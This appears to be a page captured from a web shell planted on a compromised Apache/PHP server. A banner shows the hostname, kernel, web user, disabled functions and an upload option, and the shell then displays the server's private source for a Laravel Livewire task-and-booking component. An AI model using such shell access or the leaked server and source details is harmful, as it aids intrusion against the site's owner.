GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Buyer/Tasks.php
<?php

namespace App\Livewire\Buyer;

use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Carbon;
use Livewire\Component;

class Tasks extends Component
{
    public $all_tasks = [];
    public $pending_tasks = [];
    public $ongoing_tasks = [];
    public $completed_tasks = [];
    public $user;

    public function mount()
    {
        $this->user = Session::get('user');
        Session::forget('success');
        Session::forget('error');
        if ($this->user && $this->user['role'] == 'seller') {
            $this->fetchProviderTasks();
        } else {
            $this->fetchBuyerTasks();
        }
    }

    public function fetchProviderTasks()
    {
        try {
            // Send GET request to the backend API endpoint
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->get(ApiEndpoints::fetchProviderTasks());
            if ($response->successful()) {
                $data = $response->json()['data'];
                $this->all_tasks = $data['all'];
                $this->pending_tasks = $data['pending'];
                $this->ongoing_tasks = $data['ongoing'];
                $this->completed_tasks = $data['completed'];

                // Calculate remaining time for each task
                $this->calculateRemainingTime($this->all_tasks);
                $this->calculateRemainingTime($this->pending_tasks);
                $this->calculateRemainingTime($this->ongoing_tasks);
                $this->calculateRemainingTime($this->completed_tasks);
                // Session::flash('success', $response->json()['message']);
            } else {
                // Session::flash('error', $response->json()['message']);
            }
        } catch (\Throwable $th) {
            Session::flash('error', $th->getMessage());
        }
    }

    public function fetchBuyerTasks()
    {
        try {
            // Send GET request to the backend API endpoint
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->get(ApiEndpoints::fetchBuyerTasks());
            // dd($response->json());
            if ($response->successful()) {
                $data = $response->json()['data'];
                $this->all_tasks = $data['all'];
                $this->pending_tasks = $data['pending'];
                $this->ongoing_tasks = $data['ongoing'];
                $this->completed_tasks = $data['completed'];

                // Calculate remaining time for each task
                $this->calculateRemainingTime($this->all_tasks);
                $this->calculateRemainingTime($this->pending_tasks);
                $this->calculateRemainingTime($this->ongoing_tasks);
                $this->calculateRemainingTime($this->completed_tasks);
                // Session::flash('success', $response->json()['message']);
            } else {
                // Session::flash('error', $response->json()['message']);
            }
        } catch (\Throwable $th) {
            Session::flash('error', $th->getMessage());
        }
    }

    protected function calculateRemainingTime(array &$tasks)
    {
        foreach ($tasks as &$task) {
            $start = Carbon::parse($task['start_time']);
            $end = Carbon::parse($task['end_time']);

            // Calculate remaining time
            $task['remaining_days'] = $start->diffInDays($end);
            $task['remaining_hours'] = $start->diffInHours($end) % 24;
            $task['remaining_weeks'] = $start->diffInWeeks($end);
            $task['remaining_months'] = $start->diffInMonths($end);
        }
    }

    public $declineReason;
    public $showDeclineReason = false;  // Default hidden

    public function toggleDeclineReason()
    {
        $this->showDeclineReason = !$this->showDeclineReason;
    }

    public function bookingAction($bookingId, $gigId, $action)
    {
        if ($action === 'decline') {
            $this->validate([
                'declineReason' => 'required|string|max:255',
            ]);

            // Handle decline logic
            $body = [
                'message' => $this->declineReason,
                'action' => 'declined',
                'gig_id' => $gigId,
                'booking_id' => $bookingId,
            ];
        } else {
            // Handle accept logic
            $body = [
                'message' => 'Provider accepted your engagement',
                'action' => 'Accepted',
                'gig_id' => $gigId,
                'booking_id' => $bookingId,
            ];
        }

        $apiEndpoints = new ApiEndpoints();
        $headers = $apiEndpoints->header();
        $response = Http::withHeaders($headers)
            ->withBody(json_encode($body), 'application/json')
            ->post(ApiEndpoints::bookingAction());
        if ($response->successful()) {
            // Session::flash('success', $response->json()['message']);
            return redirect('/account/task');
        } else {
            // Session::flash('error', $response->json()['message']);
            return redirect('/account/task');
        }
    }

    public function acceptAction($gigId)
    {
        $userId = $this->user_id;
        return response()->json(['message' => 'Action accepted successfully!']);
    }

    public function completeBooking($taskId)
    {
        if ($this->user && $this->user['role'] == 'seller') {
            $this->triggerCompleteBooking($taskId);
        } else {
            $body = [
                'booking_id' => $taskId
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::completeBooking());

            if ($response->successful()) {
                // Session::flash('success', $response->json()['message']);
                $this->redirect('/account/task');
            } else {
                // Session::flash('error', $response->json()['message']);
                $this->redirect('/account/task');
            }
        }
    }
    
    public $dispute_message;

    public function raiseDispute($taskId)
    {
            $body = [
                'booking_id' => $taskId,
                'message' => $this->dispute_message
            ];

            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::raiseDispute());
            if ($response->successful()) {
                // Session::flash('success', $response->json()['message']);
                $this->redirect('/account/task');
            } else {
                // Session::flash('error', $response->json()['message']);
                $this->redirect('/account/task');
            }
        
    }

    public function triggerCompleteBooking($taskId)
    {
        $body = [
            'booking_id' => $taskId
        ];
        $apiEndpoints = new ApiEndpoints();
        $headers = $apiEndpoints->header();
        $response = Http::withHeaders($headers)
            ->withBody(json_encode($body), 'application/json')
            ->post(ApiEndpoints::triggerCompleteBooking());
            // dd($response->json());
        if ($response->json()['status'] == 'success') {
            // Session::flash('success', $response->json()['message']);
            $this->redirect('/account/task');
        } else {
            // Session::flash('error', $response->json()['message']);
            $this->redirect('/account/task');
        }
    }

    public function render()
    {
        return view('livewire.buyer.tasks');
    }
}